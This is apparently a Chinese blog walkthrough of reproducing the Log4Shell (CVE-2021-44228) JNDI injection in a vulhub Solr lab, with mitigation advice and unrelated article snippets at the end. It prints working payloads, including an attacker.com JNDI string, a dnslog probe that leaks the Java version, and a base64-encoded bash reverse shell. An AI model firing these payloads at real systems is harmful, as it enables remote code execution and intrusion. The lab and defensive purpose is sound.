news 2026/4/15 17:25:21

Log4j2-CVE-2021-44228漏洞复现

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Log4j2-CVE-2021-44228漏洞复现

漏洞简介

漏洞概述

  • 漏洞编号:CVE-2021-44228(Log4Shell)
  • 影响组件:Apache Log4j2(Log4j 2.x 系列)
  • 影响版本:2.0.0 ≤ Log4j2 ≤ 2.14.1
  • 漏洞类型:JNDI 注入 → 远程代码执行(RCE)
  • 危险等级:严重(CVSS 3.1: 10.0)

JNDI是什么?

JNDI 简介:Java 命名和目录接口(Java Naming and Directory Interface,JNDI)是 Java 平台的一个重要特性,用于在 Java 应用程序中查找和访问各种资源,如数据库连接、EJB(Enterprise JavaBeans)等。它提供了一种统一的方式来定位和获取这些资源,使得应用程序可以更灵活地配置和使用资源。
JNDI由三部分组成:JNDI API、Naming Manager、JNDI SPI。JNDI API是应用程序调用的接口,JNDI SPI是具体实现,应用程序需要指定具体实现的SPI。
简单来说JNDI就是一个抽象的接口

漏洞原理

Apache Log4j2 是一个 Java 日志记录框架。在受影响版本中,Log4j2 支持通过${jndi:ldap://attacker.com/exp}这样的表达式进行动态日志内容解析(Lookup 功能)。 当应用程序记录用户输入(如 HTTP 头、参数等)到日志时,如果输入包含恶意 JNDI 表达式,Log4j2 会尝试通过 JNDI 连接到攻击者控制的服务器,下载并执行远程恶意类,从而实现远程代码执行。

Log4j2 支持使用 JNDI 的lookup功能来解析和加载外部资源,lookup是一个查找方法,在日志格式中可以使用${jndi:ldap://example.com/}这样的表达式,Log4j2会尝试通过JNDI去指定的LDAP服务器获取资源

importorg.apache.logging.log4j.LogManager;importorg.apache.logging.log4j.Logger;publicclassLog4j2Lookup{// 实现 lookup 方法publicstaticfinalLoggerLOGGER=LogManager.getLogger(Log4j2Lookup.class);publicstaticvoidmain(String[]args){ThreadContext.put("userId","test");LOGGER.error("userId: ${ctx:userId}");}}

输出:userId: test
由此可见:Log4j2会使用lookup功能检索userId里面的变量

从上面的例子可以看到,通过在日志字符串中加入"${ctx:userId}“,Log4j2在输出日志时,会自动在Log4j2的ThreadContext中查找并引用userId变量。格式类似”${type:var}",即可以实现对变量var的引用。

type可以是如下值:
ctx:允许程序将数据存储在 Log4j ThreadContext Map 中,然后在日志输出过程中,查找其中的值。
env:允许系统在全局文件(如 /etc/profile)或应用程序的启动脚本中配置环境变量,然后在日志输出过程中,查找这些变量。例如:${env:USER}
java:允许查找Java环境配置信息。例如:${java:version}
漏洞poc${jndi:rmi//127.0.0.1:1099/a}成因就是Log4j2通过JNDI的lookup功能获取rmi//127.0.0.1:1099/a的变量内容,远程访问攻击者本地的类,加载远程的类,从而实现代码执行

触发点可以是:请求头、参数、User-Agent、X-Forwarded-For 等被记录的字段,是一次日志功能→命令执行的链式漏洞。

影响版本:

  • Apache Log4j 2.0-2.14.1
  • Apache Log4j 1.2和Log4j 1.2.x系列不受影响

漏洞复现

环境搭建

  1. 靶机环境(使用 vulhub):
cdvulhub/log4j/CVE-2021-44228/docker-composeup -d

访问:http://靶机IP:8090
2.攻击机环境
- Java-Chains(用于生成 JNDI 利用链)
- nc/netcat(用于监听反弹 shell)

由于log4j2是基于第三方组件的漏洞,没有源码,只能在各种输入框插入payload测试是否有漏洞,所以,我们需要准备一个dnslog网址,插入测试payload进行检测

复现执行

  1. 准备dnslog,拼接payload

漏洞接口

http://192.168.41.128:8983/solr/admin/cores?action=xxx
  1. 使用vulhub的靶场

  2. 打payload

http://192.168.41.128:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.6zutrb.dnslog.cn}

回显

RCE

使用java chains生成远程ldap,rmi实现远程命令执行

http://192.168.41.128:8983/solr/admin/cores?action=${jndi:ldap://192.168.41.128:50389/8be0e0}echo"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMi4xNjcuMTY0LzQ0NDQgMD4mMQ=="|base64 -d|bash

  • 原理:
    JNDI 注入:攻击者构造包含${jndi:ldap://attacker.com/exp}的日志消息,触发服务端向恶意 LDAP/RMI 服务器请求并加载远程类。

漏洞防御

修复与缓解措施

  • 升级 Log4j2: 官方建议升级至2.17.1 或更高版本,以彻底修复漏洞。 Maven 示例:
  • 临时缓解方案: 移除 JndiLookup 类: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class 禁用消息查找功能(适用于 2.10 及以上版本): export LOG4J_FORMAT_MSG_NO_LOOKUPS=true 或在 JVM 启动参数中添加: -Dlog4j2.formatMsgNoLookups=true
  • 网络防护: 配置防火墙或 WAF,拦截包含_jndi:ldap://_等可疑字符串的请求。

免责声明
本文仅用于安全研究及防御教育目的。未经授权对他人系统进行测试可能违反法律,请确保操作在合法环境下进行。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/10 16:51:45

Fastjson反序列化漏洞(1.2.24版本)

漏洞简介 漏洞成因: 首先介绍一下fastjson是什么? Fastjson 是一个用于 Java 对象与 JSON 数据相互转换的库。 为什么会有这个漏洞呢? 原因是在低版本的fastjson中,默认开启了autotype选项,使得在反序列化json的时候,可以指定特定的类进行反序列化, 由于反序列化时,会触发类的…

作者头像 李华
网站建设 2026/4/15 14:51:02

如何在Windows和Linux上提升AirPods使用体验?5个实用技巧分享

如何在Windows和Linux上提升AirPods使用体验?5个实用技巧分享 【免费下载链接】AirPodsDesktop ☄️ AirPods desktop user experience enhancement program, for Windows and Linux (WIP) 项目地址: https://gitcode.com/gh_mirrors/ai/AirPodsDesktop 还在…

作者头像 李华
网站建设 2026/4/15 14:48:43

金融数据获取实战指南:7个核心技巧快速掌握AKShare工具

在当今数据驱动的金融投资领域,高效获取准确的市场数据已成为量化交易和投资分析的关键环节。AKShare作为一款强大的Python开源金融数据接口库,为投资者和研究人员提供了便捷的股票、基金、债券、期货等多元化金融数据获取方案。无论您是专业的量化分析师…

作者头像 李华
网站建设 2026/4/15 16:36:22

开源阅读鸿蒙版:重新定义你的数字阅读体验

开源阅读鸿蒙版:重新定义你的数字阅读体验 【免费下载链接】legado-Harmony 开源阅读鸿蒙版仓库 项目地址: https://gitcode.com/gh_mirrors/le/legado-Harmony 在信息爆炸的时代,你是否也曾为寻找一款纯净、自由、功能强大的阅读应用而烦恼&…

作者头像 李华
网站建设 2026/4/5 20:33:00

Tsukimi播放器:降低50%媒体服务器运维成本的企业级解决方案

Tsukimi播放器:降低50%媒体服务器运维成本的企业级解决方案 【免费下载链接】tsukimi A simple third-party Emby client 项目地址: https://gitcode.com/gh_mirrors/ts/tsukimi 在数字化转型浪潮中,企业媒体服务器的运维成本已成为不可忽视的负担…

作者头像 李华
网站建设 2026/3/30 22:59:02

小爱音箱终极音乐播放器:免费打造个人专属音乐库的完整指南

小爱音箱终极音乐播放器:免费打造个人专属音乐库的完整指南 【免费下载链接】xiaomusic 使用小爱同学播放音乐,音乐使用 yt-dlp 下载。 项目地址: https://gitcode.com/GitHub_Trending/xia/xiaomusic 想要让小爱音箱变身智能音乐中心吗&#xff…

作者头像 李华